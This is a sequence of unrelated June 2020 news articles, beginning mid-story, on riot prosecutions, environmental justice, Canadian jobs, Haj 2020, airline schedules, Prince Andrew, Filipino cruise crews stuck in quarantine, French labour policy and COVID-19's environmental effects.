The complaint also says he took lighter fluid and used it to set fire to a Sprint store before going inside an Office Depot store and stealing items.

He then shared his plans to head back to Chicago and continue to riot there. In additional videos, he can be seen passing a dark cafe with a broken window saying, Theres gotta be a register in there and encouraging someone to go inside and get it. Officers arrested him in Chicago after violating the citys emergency curfew order.

Because Rupert crossed state lines to riot, his actions are considered federal crimes. Officers found destructive devices, cash and other objects in a search of his car.

In a court appearance, he acted surprised at the charge against him of possessing an explosive device despite bragging about using them in the video. He did not officially enter a plea in his initial appearance, which was held over the phone because of coronavirus-related court closures, and he agreed to stay in custody and be transported by U.S. marshals to face charges in Minnesota. According to his public defender, he will challenge his detention there.

Rioter in Chicago caught torching a police car tried to hide behind a mask

Meanwhile, 31-year-old Timothy ODonnell has been charged with torching a police car while covering his face with a Joker mask during riots in Chicago. Federal prosecutors say they have footage of him opening the gas tank of the squad car and placing a lit object inside of it. The car then burst into flames, and ODonnell can be seen walking away.

The mask, inspired by the villain in the Batman series, obscured his facial features, but a distinctive tattoo on his neck of the word PRETTY was used to identify him. A Joker mask was later recovered from his bedroom and he was arrested on the spot. He is now facing a count of arson that could see him sentenced to as much as 20 years in prison.

The act was part of a riot that ended up with at least 90 of the citys vehicles damaged and around 20 completely destroyed.

Unfortunately, were likely to see a lot more stories like these as rioters around the country continue their heinous attacks on the men and women who are putting their lives on the line to keep everyone safe.

Sources for this article include:

StarTribune.com

Edition.CNN.com

NYPost.com
Alexandra Bowman

This week, amid a surge of protests over police violence against black Americans, theres been renewed scrutiny on the links between racism and environmental degradation in the United States.

To help readers understand those links, I put together a quick reading list about climate change and social inequities. These suggestions are meant to be starters, laying out a few entry points. I hope you will share these and suggest more.

Articles and Essays

One notable article this week came from the independent news site Grist. It linked the response to protests against environmental degradation with protests against police violence.

Dany Sigwalt, a co-executive director of an umbrella group of activist organizations called Power Shift Network, argued in an essay published on Medium that the way that we win on mitigating climate change is to enforce government accountability to its citizens and right now, that means fighting for justice for George Floyd.

The Twitter list called Green Voices of Color, curated by the writer, Mary Annaise Heglar, is a good place to find writings by people of color.

The marine biologist Ayana Elizabeth Johnson, writing in the Washington Post this week, urged her white colleagues in the climate movement to challenge the racial inequality intertwined with the climate crisis. I need you to step up, she wrote. Please. Because I am exhausted.

These connections are not new.

In 1982, in what is widely seen as the dawn of the environmental justice movement, a predominantly African-American community in Warren County, N.C., led a civil disobedience campaign against plans for a toxic dump site. That and other such campaigns were documented in Dumping in Dixie, by Robert D. Bullard, with whom we spoke for our climate newsletter this week.

The sociologist Dorceta E. Taylor chronicled several other cases across the country in Toxic Communities: Environmental Racism, Industrial Pollution, and Residential Mobility.

In 1987, the United Church of Christs Commission for Racial Justice published a pioneering report documenting the disproportionate number of hazardous waste sites in communities of color across the United States.

And in 2018, we profiled the Rev. Dr. William J. Barber II, who has made environmental justice and climate change a central pillar of his campaign to redress poverty and racism.

The long attention to the problem doesnt mean its gone away. Lead contamination in Flint, Mich., is regarded as a textbook example, with a long tail of suffering: Its school system has been struggling with a sharp rise in neurological and behavioral problems among its students, as this story in The Times chronicled.

Its worth rewinding to the history of the environmental movement, as well. In the United States, at least one stream of the green movement has a racist history, as Jedediah Purdy wrote about in The New Yorker in 2015. And some environmental groups have had to reckon with racism in their membership, as Brentin Mock wrote in Outside Magazine wrote in 2017.

Though its not an article or book, also useful for the discussion about how to rebuild this country is Heather C. McGhees TED Talk about how racism has driven bad public policy for years in this country. In the era of a hotter planet, she told me this week, we have a chance to rewire the economy in an explicitly anti-racist way.

Beyond the United States, I wrote how a series of crippling droughts had devastated the regions poorest, most vulnerable people in East Africa. My colleagues and I wrote about a massive coal-fired power plant built on land that belonged to some of Indias poorest farmers. In coastal cities, how to face a rising sea depends almost entirely on the accident of your birth.

Books

A deeply human meditation on racism and environmental havoc is Sarah M. Brooms memoir about her familys home in New Orleans, called The Yellow House.

The writings of Amitav Ghosh have repeatedly explored the impact of environmental degradation on people who are powerless, from the novel, The Hungry Tide to his series of essays in The Great Derangement: Climate Change and the Unthinkable, to his latest novel, Gun Island, in which wildfires, freakish storms, mudslides and the sinking city of Venice hold a mirror to the climate chaos of today.

The unequal impact of climate change is chronicled in a collection of essays, poems and stories called Tales of Two Planets. One of its finest pieces is by Mariana Enriquez, who describes growing up in Buenos Aires, on the banks of one of the most polluted rivers in the world, the Matanza-Riachuelo:

In September 2002, a group of policemen who were drunk on power forced nineteen-year-old Ezequiel Demonty, a teenager who lived on the Riachuelos banks, to jump into the river. They were after him for a false complaint of robbery, and they decided to torture him before they arrested him. The body appeared by the Victorino de la Plaza bridge, the same one I used to cross with my family when I was little. In 2014, near an offshoot of the Matanza river, seventeen-year-old Melina Romeros body was found. Her murderer and rapist left her in a garbage bag. The newspaper headlines said that she didnt go to school and liked to go out at night. They often illustrated the articles with a selfie of the girl crying in the mirror, her eyeliner running, her cheeks stained with black tears.

Finally, the one piece I go back to again and again is the prescient Earthseed series by Octavia E. Butler, and especially the first book, Parable of the Sower. Its protagonist, Lauren, feels the pain of others, which is a lot of pain in California in 2024, when the book is set, amid racist violence, government corruption and acute water scarcity.
(Getty Images)

The Canadian economy added 289,600 jobs in May, as parts of the economy reopened during the COVID-19 pandemic.

Economists were expecting 500,000 jobs would be lost during the period.

The unemployment rate went up to 13.7 per cent because the participation rate rebounded, according to the data from Statistics Canada, which is a record-high since data became available in 1976.

The majority (219,400) of the jobs created were full-time positions.

Timing played a big role in the job creation surge.

Labour Force Survey (LFS) results for May reflect labour market conditions as of the week of May 10 to May 16, said Statistics Canada in its report.

By then, some provinces had begun to re-evaluate and gradually ease public health and other restrictions, including allowing some non-essential businesses to re-open.

Quebec accounted for nearly 80 per cent of the jobs created.

Ontario, which along with Quebec has been hit particularly hard by the pandemic, was the only province to lose jobs in May.

Retail and wholesale trade, manufacturing, and construction were leading sectors for job growth.

Youth aged 1524 saw a 29,500 increase in jobs, while the 2554 age group saw a 168,000 bump and 92,000 for people over 55.

Women aged 25 and over saw an 80,000 rise in employment, fewer than men with a 180,000 rise.

Trevin Stratton, the Canadian Chamber of Commerces Chief Economist and VP of Policy, called the numbers the Schrodingers cat of job markets. He says we shouldnt read too much into them.

It is indeed a strange time when we react favorably to slowing job losses that by any standard measure would be catastrophic. Todays figures (290,000 jobs gained, but 13.7% unemployment) are both terrible and positive at the same time, he said in a release.

We are still in an unprecedented economic downturn, but the unemployment rate is slowing. Canada avoided the worst-case economic scenario and the economic impact on the global economy has peaked, according to the Bank of Canadas latest outlook.

Story continues

Employment declines halt in May (Statistics Canada)

Brendon Bernard, economist at Indeed, says there are signs of encouragement including a rise in jobs postings. But a number of factors will determine how a recovery plays out.

How much the re-opening of shuttered areas of the economy boosts net-employment growth will in-part depend on whether layoffs slow, said Bernard.

Growth in CERB applicants has eased through early June, but haven't stopped, suggesting shockwaves from the pandemic continue to reverberate throughout the labour market. Durability of the rebound is going to require Canadians to have reason for optimism about the outlook for the economy, and the public health situation.

Prime Minister Justin Trudeau commented on the jobs numbers in his daily COVID-19 update.

The numbers show that more Canadians returned to work last month, but that many people continue to face a really tough time, said Trudeau.

That tells us that moving forward, we need to stay focused on getting people back on the job.

But the opposition Conservatives are calling for more action from the Trudeau government.

The numbers released today also show that Canadian youth and students are getting hit hard by this pandemic. Conservatives continue to call on the Trudeau government to help match students with available jobs, said MP Dan Albas, Shadow Minister for Employment, Workforce Development & Disability Inclusion.

The Canadian economy shed around 3 million jobs in March and April.

Jessy Bains is a senior reporter at Yahoo Finance Canada. Follow him on Twitter @jessysbains.

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Sana Shakil By

Express News Service

NEW DELHI: The cancellation of Haj 2020 pilgrimage is almost a certainty now, Haj Committee CEO, Maqsood Ahmed Khan, told the New Indian Express on Friday.

Talking about a letter he had issued on Friday evening offering pilgrims 100 per cent refunds on the amounts they had deposited for their Haj pilgrimage, Khan said that there was less than 5 percent chance of Haj pilgrimage happening this year, in view of the COVID-19 pandemic.

The letter issued on behalf of the Haj Committee of India stated that 100 per cent refunds were being offered to the pilgrims after communication (dated March 13) was received from Saudi authorities...conveying to temporarily halt the preparations for Haj 2020. As only a few weeks are left for the preparatory work in India, for Haj 2020, yet Saudi authorities have not communicated any further development.

Khan also made it clear that all the pilgrimsthose who do not even apply for cancellations-- will get the refunds automatically deposited in their accounts.

Chances of the Haj pilgrimage being dropped this year became apparent with curbs being put on the movement of international flights and with no communication from Saudi Arabia. The Haj flights from India to Saudi Arabia were scheduled to commence from 25 June and the 40-day pilgrimage is scheduled to end by August 2.

A total of two lakh Indian Muslims were supposed to go on the pilgrimage this year. Of this, 70 per cent people were scheduled to go through the Haj committee while private tour operators were given a quota of facilitating 30 per cent pilgrims.

Khan explained that the committee finalises applications in two stages but because of the coronavirus threat, this process also got delayed and only one batch of applications comprising 1.25 lakh pilgrims were given clearance.

The Haj fees or expenditure for the pilgrimage is collected in three instalments. The final instalment was not collected from pilgrims because the final amount is decided after getting approval from Saudi authorities, Khan said. All pilgrims selected by Haj Committee of India however, have paid Rs 8.1 lakh each, the first instalment and some had also paid the nd instalment of around Rs 1.10 lakh.

Indonesia, the worlds largest Muslim majority country which sends the highest number of pilgrims to Saudi Arabia is the only country so far to have announced the cancellation of Haj 2020.

Umraha smaller pilgrimage performed in Saudi Arabia has already been cancelled for the past two months.


United Airlines joined American Airlines this week by announcing it will boost flights in July to tap into the remainder of the summer travel season following a damaging drop-off in demand during the height of the coronavirus lockdown.

The Chicago-based carrier said it will resume about 130 nonstop flights next month, including routes to and from Charleston International.

United did not immediately specify how many flights will be added in the Lowcountry. A spokesperson did not immediately respond for further comment.

The additional service will bring the airline up to about 30 percent of its service compared to last July.

The carrier's website shows nonstop flight offerings over the summer from Charleston to Houston, Denver, Newark, Chicago O'Hare and the Washington, D.C., area

Multiple nonstop flights are listed for some destinations, though some flights could be removed depending on demand, according to Gary Edwards, a liaison between tourism agency Explore Charleston and Charleston County Aviation Authority.

American Airlines was first to announce this week that it would nearly double its offerings in Charleston next month as part of a nationwide increase to 55 percent of its flights in July 2019.

The Fort Worth, Texas-based carrier will enhance weekday service from nine flights to 16 and weekend routes from eight to 15 next month.

From Charleston, American flies to Charlotte, Dallas-Fort Worth, Miami, Philadelphia, Chicago OHare and Reagan National in Washington, according to airline spokeswoman Leah Rubertino.

American said demand for travel increased in May, leading it to add more flights to its summer schedule and fly at 40 percent of capacity systemwide in July.

Among other nearby cities where American will add flights are Asheville and Savannah.

The carrier also is increasing flights from hubs in Dallas-Forth Worth and Charlotte to destinations customers are searching and booking most, with increased flying to major cities in Florida, Gulf Coast cities as well as mountain destinations in the West as parks and other recreation venues reopen.
The structure of the British royal family will never be the same. For years, Prince Charles has hoped for a more streamlined royal family that involves Queen Elizabeth, himself, and those directly in line for the throne. It looks like hes got his wish. Amid Megxit and Prince Andrews ousting from royal life, the royal family is much smaller than it was before.

In November 2019, Prince Andrew was booted from public royal life following a disastrous interview with BBCs News Night where he defended his friendship with late convicted sex offender Jeffrey Epstein. A known child sex trafficker, royal fans were beyond horrified, especially after a woman named Virginia Roberts came forward to accuse the prince of abusing her.

Though he hoped to return to the royal fold, it looks like Prince Andrew has been banned for life. It also seems that Prince William has an uncomfortable connection to that BBC News Night interview that led to Prince Andrews downfall.

RELATED: This Is How Prince Andrew Dodged Decades Of Bad Publicity

Prince Andrew has been banned from royal life

Following Prince Andrews BBC News Night interview, the royal family asked him to resign from his role. The circumstances relating to my former association with Jeffrey Epstein has become a major disruption to my familys work, the Duke of York said in a statement. His 60th birthday was also canceled and he did not attend his daughter, Princess Beatrices engagement party.

Still, the prince hoped to be rehabilitated and return to royal life at some point. Now, following the release of Netflixs Filthy Rich chronicling Epsteins life, criminal behavior, and intricate details of the princes alleged involvement with underage girls, Prince Andrew will never return to royal life. The royal see him as toxic.

Prince Andrew, who stepped back from public life last year for the foreseeable future, will not resume official duties, The Sunday Times royal correspondent said. The prince hoped his status change would be temporary, but those hopes have disappeared. The royal family has no plans to review his position.

Prince William, Duke of Cambridge and Prince Andrew, Duke of York talk as they leave St Georges Chapel after attending the annual Order of the Garter Service in Windsor Castle on June 18, 2018 in Windsor, England. The Order of the Garter is the senior and oldest British Order of Chivalry, founded by Edward III in 1348. The Garter ceremonial dates from 1948, when formal installation was revived by King George VI for the first time since 1805 | Steve Parsons-WPA Pool/Getty Images



RELATED: The Prince Andrew Scandal Has Only Gotten More Serious and Queen Elizabeth and Prince Charles Are In Crisis Mode

Prince William has never liked Prince Andrew

Prince William, the future Crowned King, was instrumental in getting Prince Andrew ousted from the British royal family. The Duke of Cambridge was in crisis talks with Queen Elizabeth II and Prince Charles last year to discuss the Duke of Yorks fate.

William thinks the right thing happened, a source told The London Times. William is becoming more and more involved in decisions about the institution [monarchy] and hes not a huge fan of his uncle Andrew.

RELATED: Prince William Has Never Been a Fan of Prince Andrew

Prince William has an uncomfortable connection to Prince Andrews BBC interview

In addition to having a hand in Prince Andrews ousting, Prince William also has a connection to the BBC interview. BBC journalist Emily Maitlis has since been nominated for a BAFTA (British Academy of Film and Television Arts) TV Award for the interview in the Best News Coverage category

However, that puts Prince William in a strange position since hes been the president of BAFTA since 2010. Still, amid quarantine, it is unlikely that the Duke of Cambridge will be on deck to present Maitlis with an award if she should win. After all, he and Catherine, Duchess of Cambridge only attend the BAFTA Film Awards.
The HRD ministry is planning to set up a high-profile panel comprising the directors of Indian Institutes of Technology (IITs) that would work to improve the branding and perception of the countrys colleges and universities.

HRD minister Ramesh Pokhriyal Nishank gave this direction as he chaired a review of the Institutions of Eminence (IoE), a programme under which top Indian varsities are groomed to climb global rankings.

The minister said a team of directors of IITs may be constituted which may suggest how we can improve the perception of the institutions and how we can improve the international rankings.

He said that we should make action plan for brand building of the Study in India scheme, said an official statement.

Nishank also said that a Project Management Unit should be established for monitoring the works of the IOEs and HEFA in 15 days. Nishank assured that a commitment letter from MHRD will be issued to various IoEs that funds will be released for expenditure as per the agreement. He said that construction activities may be expedited in IoEs which have stopped due to Covid-19.

Nishank said a vision document of three years may be prepared by each institute. Issues related to draft MOU and the inspection of private institutions were also discussed during the meeting. Minister of State Sanjay Dhotre and Higher Education Secretary Amit Khare were also present.

During the meeting, Nishank congratulated IISc Bangalore and other IITs which figured in the top 100 in the recently released THE Asia rankings.
For 38 days, Gladys Mae watched with relief and a little dread as her fellow crew members were allowed to disembark from their cruise ship anchored in Manila Bay.

I was happy that they could go home to their families, but what about us  when would be allowed to leave? said Gladys Mae, who is one of more than 200 crew members aboard one of the 23 vessels currently in the bay.

Their ship sailed from Australia to Manila on April 24 and the crew was made to quarantine on board as they waited for their COVID-19 test results to be released.

Only a negative test result would get them the quarantine certification that would enable them to disembark and return to their homes across the Philippines.

Some of the ships had a predominantly Filipino crew. We could not deny our citizens their right to come back home, Captain Armando Balilo, spokesperson of the Philippine Coast Guard (PCG).

As worldwide travel restrictions imposed to curb the spread of COVID-19 forced cruise ships to cease operations, shipping lines scrambled to repatriate their thousands of crew.

The Philippines allowed some cruise ships to anchor at the Manila Bay as a way to facilitate the return of its nationals, who make up about a third of the industrys global seagoing crew.

But the repatriation en masse of other Filipino workers from all over the world caught the government off-guard, and resources crumbled under the weight of testing tens of thousands of returnees.

More than 8,000 Filipino seafarers aboard the cruise ships were tested for COVID-19, but crew members like Gladys Mae were caught in a disarray of encoding errors, misplaced test results and a shortage of test kits resulting in prolonged periods of quarantine.

A medical team from the Philippine Coast Guard conducts swab testing for Filipino crew members inside the Sapphire Princess cruise ship anchored at Manila Bay last month [Philippine Coast Guard Handout via Reuters]

Each time crew members were allowed to go home, Gladys Mae found herself becoming more anxious. Why were some results released and others not? I was beginning to imagine the worst, she said, comparing the agony of waiting to a dreary elimination process.

Being isolated in a small cabin, counting minutes and hours before you are released from quarantine compounds the mental anguish brought by this pandemic, said Don Eliseo Lucero-Prisno, a researcher at the Seafarers International Research Centre at Cardiff University in the UK, and an expert on the mental health of seafarers.

Gladys Mae and the other crew members had access to the internet and were in constant communication with their families, but Lucerno-Prisno says that is not enough for people caught in such difficult circumstances.

Emergency situations heighten the need for an emotional support system, he said. Though there is comfort in being able to talk to their families, it is not the same as safely being with them.

After a directive from President Rodrigo Duterte to hasten the release of returning migrant workers from quarantine, Gladys Mae and the 23 remaining Filipino crew on her ship were billeted in a Manila hotel where they were tested for the virus again. It was unclear what happened to the results of their first test.

Its hard to avoid getting depressed. All this waiting isnt good for our mental health, said Gladys Mae.

After more than 40 days of quarantine, Gladys got her test results on Thursday and clearance to return to her province in Mindanao, southern Philippines. Her journey will not end there  she will have to undergo quarantine again in a provincial government facility before she can go home.

Frustrations

King Jeromnh Ilagan, a 29-year-old chef, has been in quarantine since April 7 and is frustrated at having to wait so long. The authorities told me they lost my specimen, then they said my name was mixed up with someone elses. Now they said Im asymptomatic. Ive been here for almost 60 days. If they dont fix this by tomorrow, Im going to run away from here.

Seafarer remittances totalled about $6.1bn to the Philippines in 2018, but with no clear indication of when the shipping industry  particularly leisure cruises  can resume operations, the country risks the loss of a major economic pillar and mass unemployment among the more than 370,000 Filipinos who may no longer have a job to return to.

Mark, a 36-year-old IT worker, endured weeks of quarantine when his ship docked in Manila from Singapore in April. Now that he is home with his two kids and his wife, who is pregnant with their third child, he is faced with uncertainty, but he is hopeful his four years of experience will be enough to secure him an alternative source of livelihood.

Realistically, there will be no work for us for at least a year. My immediate concern is to survive. I worry about the other crew members, like the food servers and entertainers. What kind of jobs will be available for them in this new world? he said, requesting that only his first name be used.

Labour rights advocates are also concerned about the impact on unemployment.

If the COVID-19 crisis drags on, we can see more job cuts among migrant workers. By the end of the year, we may see as many as one million workers returning, said Laorence Castillo, senior advocacy officer of Migrante International.

A map of the cruise ships anchored in Manila Bay, from the Philippine Coast Guard. Crew members are being kept aboard as they are tested for COVID-19 and await transfers to land so they can complete a 14-day quarantine and go home, but some have been stuck for weeks [Al Jazeera]

Castillo also pointed out that there are also an estimated 30,000 seafarers who were prevented from leaving the country at the last minute as docks and borders closed.

They are overlooked by the government and abandoned by their recruitment and manning agencies on the technicality that their contracts are in force only when they get on board a ship.

Anarchy

Edwin dela Cruz, president of the International Seafarers Action Center, an advocacy group for seafarer rights, criticised the governments inaction and efforts to downplay the COVID-19 threat, despite the cruise industry risk becoming clear as early as February with the cases on board the quarantined Diamond Princess.

The government could have used that time to prepare and prevent this anarchy in dealing with our returning seafarers, said dela Cruz.

In March when the world started closing its borders, our seafarers were forced to return and now the situation is out of control. Clear guidelines on effective isolation, quarantine and testing could have prevented this and lessened the discrimination against returning workers, he added.

The authorities say that with some 90,000 people expected to return in the next two months they are making improvements.

Its a lot but were preparing to simplify the process so they can all be tested quickly, said Richard Gordon, the president of the Philippine Red Cross.

Conrad Bancaya is another cruise worker caught in the bureaucratic chaos. The 40-year-old and his crew disembarked from their ship in Manila towards the end of March and immediately went into quarantine in a hotel.

Around this time, the government was refining its guidelines for expanded testing, procuring more test kits and setting up additional testing labs.

It was not until May 12 that Bancaya was tested. He got his results five days later, but had to wait for more than a week for the government to organise the journey back to his home province in the central Philippines. Since he arrived there on May 25, he has been staying in a government quarantine facility waiting for the results of yet another test.

I understand how hard it is for the authorities to deal with all of this. Im trying to be patient and optimistic. I cant let self-pity set in.

A fishing boat passes close to the Princess Cruises Ruby Princess cruise ship in Manila Bay last month [Eloisa Lopez/Reuters]

For now, Bancaya is counting the days to June 8 when his test results should be released and he can be reunited with his wife and 10-year-old child.

I always talk to them and the little one keeps asking when Papa is coming home. Now, I can say soon and finally mean it.
France will beef up incentives for apprenticeships and support businesses that keep staff on payroll during a prolonged economic downturn to prevent losing a generation to long-term unemployment triggered by the coronavirus.

The move to support apprenticeships and make them available to more companies will cost around 1 billion euros ($1.1 billion), an official in President Emmanuel Macron's office said. The government will also expand the financing of a system that allows struggling companies to furlough workers if they strike an agreement with unions to adjust working hours and conditions over the long-term.

"Sacrificing a generation of young people is out of the question -- we can't allow it for the sake of young people, businesses and the country," Labor Minister Muriel Penicaud said on RTL radio Friday.

While fallout from the pandemic has wreaked havoc on the labor market across the world, the young have been especially vulnerable. More than than one in six have stopped working since the onset of the crisis, according to the International Labour Organization.

The French program aims to draw on Germany's experience in the 2008 crisis with its Kurzarbeit system, which helped avoid massive layoffs by allowing companies to adjust working hours to lower demand.

Penicaud said Macron is also ready to review his flagship reform of unemployment benefits given the difficult economic situation. The government will decide by the summer.

Joblessness surged in Europe's second-largest economy after the financial crisis a decade ago. The country has recovered gradually, but failed to get unemployment back to pre-2008 levels before the coronavirus. Despite a sweeping furlough program expected to cost around 30 billion euros in 2020 to support around 12 million staffers, jobless claims have already spiked to a record high.

Young people are a particular concern, with the government estimating 15% of those in professional training have dropped out during the shutdown to contain the virus. In September, around 700,000 people exiting education will be looking for jobs at a time when the state expects a surge in bankruptcies as it withdraws emergency support.

Beyond the measures announced Thursday, the government is also weighing how to support young people in general as part of a recovery plan to be announced in the coming weeks.

"We are entering a longer, deeper crisis," Penicaud said Thursday after a meeting with Macron, unions and business groups. "We need new tools to protect jobs and skills in the long term, to adjust production capacities in the context of a drop in demand."

European governments are doubling down on efforts to help their economies navigate the deepest recession in decades. Germany on Wednesday announced a sweeping 130 billion-euro ($147 billion) stimulus package.

The costs of France's various fiscal efforts is already taking a heavy toll on public finances. Next week, the government will present a third emergency budget with an extra 13 billion euros of spending. The deficit is forecast to widen to 11.4% of output in 2020, with the debt ratio breaching 120%.

The budget will cover separate support plans for the automotive, aeronautical, tourism and technology industries that total around 40 billion euros in a combination of direct spending, loans and guarantees.

The measures for apprenticeships announced Thursday would open up the system to more companies and raise the incentive to as much as 8,000 euros per hire. The government did not say how much it would finance salary top-ups for furloughed workers in the long term, but the official said it would be a high level of support.
MOSCOW (Reuters) - Russia's Energy Minister Alexander Novak is in constant contact with ministers of other OPEC+ nations, the Kremlin said on Thursday, but did not confirm the timing of an expected meeting to discuss oil output cuts.

Kremlin spokesman Dmitry Peskov said President Vladimir Putin had no plans to speak to his U.S. counterpart Donald Trump or other heads of state on the issue, but noted the stabilisation on oil markets in recent weeks.

(Reporting by Alexander Marrow and Andrey Kuzmin; editing by Jason Neely)
The Coronavirus (Covid-19) pandemic has taken the world for a toss, and has led to the imposition of lockdowns and compulsory quarantining in almost all affected countries. The pandemic has managed to bring to a standstill the functioning of most industries and trade, but amidst all this chaos caused- Covid- 19 has helped replenish the environment and the climate.

Due to lockdowns in existence, the use of locomotives and other modes of travel has been considerably reduced thus resulting in a reduced level of air pollution across the globe. Especially in India, after the 21-day lockdown period, there was lower vehicular emissions, industrial pollution, burning of crop- residue, waste etc. Thus, the air quality has improved in many of the urban areas to the extent of even 75 percent reduction in the particular matter concentrations over the Indo- Gangetic basin. The lock down has been so effective in controlling air pollution that scientist now recommend such imposition lockdown as a mechanism of state intervention in times of extreme pollution.[2] The resulTS are almost astonishing across the world. Spain saw a 14% decrease in rush-hour traffic, resulting I them being able to finally staying within the EU limits. Further, a Stanford research scholar stated that the improvement of air quality approximately saved the lives of 4000 children under the age of 5 and 73, 000 senior citizens (above 70 years).[3]

In addition to getting improved air quality, there also seems to be a considerable reduction in water pollution as well. Such reduction in toxins in the biosphere has indirectly helped restore flora and fauna across nations. It was identified that Canal Waters have cleared up giving rise to a plethora of fishes being spotted, in many places animals like deer, peacocks, monkeys, elephants etc have been seen loitering on the streets. In fact, a number of gangetic dolphins have been noticed as the rivers have been devoid of waste effluents. The pandemic has also resulted in stark reduction in fossil fuel consumptions and carbon dioxide emissions.

However, on the flip side, the distraction caused by the pandemic acted as a cover for a lot of illegal activities that have damaged the environment. It has led to around 55% increase in deforestation, especially as a result of fires in the Amazon Rainforest,[4] there is also a surge in bush meat poaching in African Countries.

Legal Aspects and Policy Making Suggestions:

Since most industries will be pro active towards recovering from the losses caused due to Covid-19, the policy makers are to draft legislations focusing on the use of clean energy especially with respect to polluting industries like Coal, Oil, Chemical etc., inorder to maintain the quality of the environment.[5] The restoration packages that are to formulated for industries must include sustainable ways to recover from the lost economy.

As the COP 21 summit has been postponed, counties are being urged to present more stringent and tougher plans to meet the Paris Agreement Goals while balancing recovery from Covid-19. In the same regard, Carolina Schmidt (Chilean Environment Minister) and Patricia Espinosa (UN Climate Change Head) emphasize on a green transition. According to them, Soon, economies will start. This is a chance for nations to recover better, to include the most vulnerable in those plans, and a chance to shape the 21st economy in ways that are clean, green, healthy, just, safe and more resilient.[6] Countries like Marshall Islands, Suriname, Moldova and Norway have submitted updated and ambitious plans to the United Nations. An important platform that is to be regulated by proper legislation after deliberation by the governments, Central Banks, The International Monetary Fund, World Bank is the National Covid-19 Economic Stimulus Package. These packages could be at a higher level around 10 % of the overall economy, thereby being able to channel a smoot shift to a low carbon economy.[7]

Moreover, the occurrence of the coronavirus pandemic has brought to light the danger of zoonotic diseases ( passed form animals to humans), thus calling for the proper implementation of the CITES and encourage reforms if needed. The WWF has urged China to reform the existing Wildlife protection law and has suggested expanding the protection coverage of the law, adopting rigorous wildlife utilization standards, strengthening penalties etc.[8] As a result of the same Wuhan has officially banned eating of wild animals.[9] The same steps have been taken by many other countries.

Further, as a result of the virus, there has been a huge levels of unemployment which might especially in African countries promote the hunting if animals for ivory and other products to gain income, so it is prerogative that the governments enact schemes for immediate restoration rather that pave a way for illegal activities that indirectly affect the environment.

The pandemic has opened our eyes to the impact human activities have on nature, which ultimately reflects adversely on us. It is high time that our governments formulate and amend laws to protect the environment, maintain the positive changes and restrict activities that affect both humans and animals in a negative manner. The Post Covid-19 times call for pro-active participation of the governments to ensure sustainable and an eco- friendly development.

[1] S.K. Sateesh, Professor at Centre for Atmospheric & Oceanic Sciences, IISc  The Hindu, New Delhi, June 4, 2020 ( published at 13:02 IST): https://www.thehindu.com/sci-tech/energy-and-environment/covid-19-lockdown-like-interventions-may-help-combat-air-pollution-in-india-say-scientists/article31746151.ece [2] Covid-19 lockdown-like steps may help combat air pollution: Scientists, Business Standard, New Delhi, June 4, 2020 ( published at 14:54 IST): https://www.business-standard.com/article/current-affairs/covid-19-lockdown-like-steps-may-help-combat-air-pollution-scientists-120060400715_1.html [3] 6 ways coronavirus is changing the environment, Politico, March 18, 2020 (updated at 5:07 CET): https://www.politico.eu/article/6-ways-coronavirus-is-changing-the-environment/ [4] Covid-19 pandemic opportunity to change environmental laws: Brazil Minsiter, Ronson Rodrigues, Down To Earth, May 28, 2020: https://www.downtoearth.org.in/news/environment/covid-19-pandemic-opportunity-to-change-environmental-laws-brazil-minister-71416 [5] Air pollution in China back to pre-Covid levels and Europe may follow, Damian Carrington and Niko Kommenda, The Guardian, June 3, 2020 ( published at 9:18 BST): https://www.theguardian.com/environment/2020/jun/03/air-pollution-in-china-back-to-pre-covid-levels-and-europe-may-follow [6] Cop26 climate talks postponed to 2021 amid coronavirus pandemic, Climate Home News, June 4, 2020 ( published at 8:50 pm): https://www.climatechangenews.com/2020/04/01/cop26-climate-talks-postponed-2021-amid-coronavirus-pandemic/ [7] Ten Areas Where Covid- 19 Responses have Increased Environmental Risks, Nishan Degnarain, Forbes, April 16, 2020 ( published at 02:36 am EDT): https://www.forbes.com/sites/nishandegnarain/2020/04/16/ten-areas-where-covid-19-responses-are-leading-to-environmental-setbacks/#958705e42529 [8]  WWF urges China to set global example as it mulls revision of the Wildlife Protection Law, WWF, May 21, 2020: https://wwf.panda.org/wwf_news/press_releases/?363735/WWF-urges-China-to-set-a-global-example-as-it-mulls-revision-of-the-Wildlife-Protection-Law [9] Evening Standard, Imogen Baraddick, May 20, 2020 (published at 19:18): https://www.standard.co.uk/news/world/wuhan-ban-eating-wild-animals-coronavirus-bats-a4446491.html



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The biggest opportunities Tagg sees are in the sales of new homes and multifamily developments that have recently finished. He says that developers are looking to offload those units fast, taking a lower profit margin on a sale now over a higher margin on a potential sale in future. Potential homebuyers who have found, after the dust has settled, that theyre on solid economic ground can snap these properties up at a discount.

Tagg is relatively optimistic, too, about Albertas high deferral rate. While he accepts that the threat of a deferral cliff is real, he says that many homeowners deferred their mortgages in those first uncertain days, before their own situations became clear. He says that many, himself included, will find that an ongoing economic recovery has given them the cashflow to service those obligations sooner than they expected.

Tagg deferred three mortgages in the wake of the shutdown, because his tenants were laid off and he expected to take a bigger hit to his business than he actually did. The deferral allowed him to slash rents for his laid-off tenants. As they have returned to work, they are paying normal rents again, allowing Tagg to meet his mortgage obligations. As Taggs business has picked up, he is generating the income he needs to pay his personal mortgage as well. While many homeowners may be faced with that cliff, Tagg expects a significant number will be in his boat, having recovered enough to avoid disaster.

Tagg says he was also able to stave off disaster for his business by immediately making use of the federal governments $40,000 small business loan, which he used to float his business in those first uncertain days. He was qualified for the federal wage subsidy, too, which he used to ensure his team stayed operating through the crisis.

The stress I felt in the last half of March is gone, Tagg says. Because I had some help to bridge the gap and now I'm building up a collection of clients that are going to work.
Hilaria Baldwin is attempting to broach the subjects of race and diversity with her children.

The 36-year-old wife of actor Alec Baldwin uploaded a series of video snippets on Thursday night with herself in conversation with their daughter Carmen, six.

It was the Majorca, Spain-born beauty's latest effort to spread awareness and activism around the conversation of race and equality, especially as it relates to parenting.

As seen in her Instagram Stories on Thursday night: Hilaria Baldwin is attempting to broach the subjects of race and diversity with her children

In the video, shared to Hilaria's Instagram Story, the mother-of-four (with another on the way) leans next to her daughter in bed.

After Carmen observes that 'some people have things in common,' she comes to the conclusion that 'everything is different, nothing is the same,' and how that extends to people as well  'even identical twins... theyre really different.'

'So when you see somebody who is a different color than you,' her mother asks, 'what do you think?'

'I want to be their friend, I want to be everybodys friend,' Carmen responds, smiling widely to reveal some missing baby teeth.

From a kid's point of view: The 36-year-old wife of actor Alec Baldwin uploaded a series of video snippets with herself in conversation with their daughter Carmen, six

'So when you see somebody who is a different color than you, what do you think?' Hilaria, who is expecting her fifth child, asked Carmen; seen in another Instagram post

'Thats one of the things we love about you,' Hilaria says to her daughter.
